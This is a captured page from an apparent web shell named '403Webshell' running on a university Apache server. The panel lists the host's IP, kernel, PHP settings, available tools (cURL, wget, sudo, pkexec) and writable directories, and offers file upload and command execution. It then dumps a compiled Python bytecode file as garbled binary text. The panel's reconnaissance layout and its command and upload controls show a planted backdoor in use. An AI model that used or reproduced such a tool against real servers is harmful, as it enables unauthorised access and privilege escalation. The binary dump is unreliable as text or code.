403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/python3.6/site-packages/tracer/resources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.6/site-packages/tracer/resources/__pycache__/system.cpython-36.pyc
3

�|
`.�@slddlmZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZGdd�de
�ZdS)�)�absolute_importN)�version_info)�PackageManager)�Processc@sleZdZedd��Zedd��Zedd��Zedd��Zed	d
��Zedd��Z	ed
d��Z
edd��ZdS)�SystemcCs�tjjd�r�td���}i}dddddddd	d
g	}dd�|D�}x(|D] }|jd
�\}}|jd�||<qDW|d|kr||dSd|kr�x |dj�D]}||kr�|Sq�WWdQRXntjdd�dSdS)z�
		Checks if /etc/os-release exists, and if it does, uses it to divine the name of the distribution or
		distribution like. e.g It will return 'debian' on Ubuntu systems.
		Otherwise, revert to using platform.linux_distribution()
		z/etc/os-release�gentoo�debian�rhel�centos�ol�mageia�arch�archarm�fedoracSsg|]}|j�r|j��qS�)�rstrip)�.0�linerr�/usr/lib/python3.6/system.py�
<listcomp>0sz'System.distribution.<locals>.<listcomp>�=�"ZIDZID_LIKENF)Zfull_distribution_namer)�os�path�isfile�open�split�strip�platformZlinux_distribution)Zos_release_fileZos_release_dataZdistros�linesrZos_release_keyZos_release_value�distrorrr�distribution#s

zSystem.distributioncsd�fdd�}dgdgddgdgdgdgdgdgddgd
�	}tj�}||krNdSttt|||���S)zMReturns instance of package manager according to installed linux distributioncs"|\}}tj|�}t||�f��S)N)�	importlib�
import_module�getattr)Zpairr�name�module)�kwargsrr�get_instanceBs
z,System.package_manager.<locals>.get_instance�tracer.packageManagers.portage�Portage�tracer.packageManagers.dpkg�Dpkg�tracer.packageManagers.dnf�Dnf�tracer.packageManagers.yum�Yum�tracer.packageManagers.alpm�Alpm)	rrr	r
rrr
rrN)r)r*)r+r,)r-r.)r/r0)r/r0)r/r0)r-r.)r1r2)r1r2)r-r.)r/r0)rr!r�list�map)r'r(Zmanagersr r)r'r�package_manager>s 
zSystem.package_managercCstd�}|j�jd�d}|S)zM
		Returns name of init system you are using
		e.g. init, systemd, upstart
		�� r)rr%r)Zinitr%rrr�init_system`szSystem.init_systemcCs&ytj�Stk
r tj�SXdS)N)�psutil�	boot_time�AttributeErrorZ
get_boot_timerrrrr:kszSystem.boot_timecCsdjtjtjtj�S)Nz{}.{}.{})�formatr�major�minor�microrrrr�python_versionqszSystem.python_versioncCstj�jtj�tj�d�S)N�)rr5Zfind_package�kernel_package_namer�unamerrrr�running_kernel_packageuszSystem.running_kernel_packagecCsdS)z6 TODO: infer kernel package from current distribution ZkernelrrrrrrByszSystem.kernel_package_namecCs0ytj�Stk
r*tjtj��dSXdS)Nr)r�getlogin�OSError�pwd�getpwuid�getuidrrrr�user~szSystem.userN)�__name__�
__module__�__qualname__�staticmethodr!r5r8r:r@rDrBrJrrrrr!s"r)Z
__future__rrrGr"rr9�sysrZtracer.resources.PackageManagerrZtracer.resources.processesr�objectrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit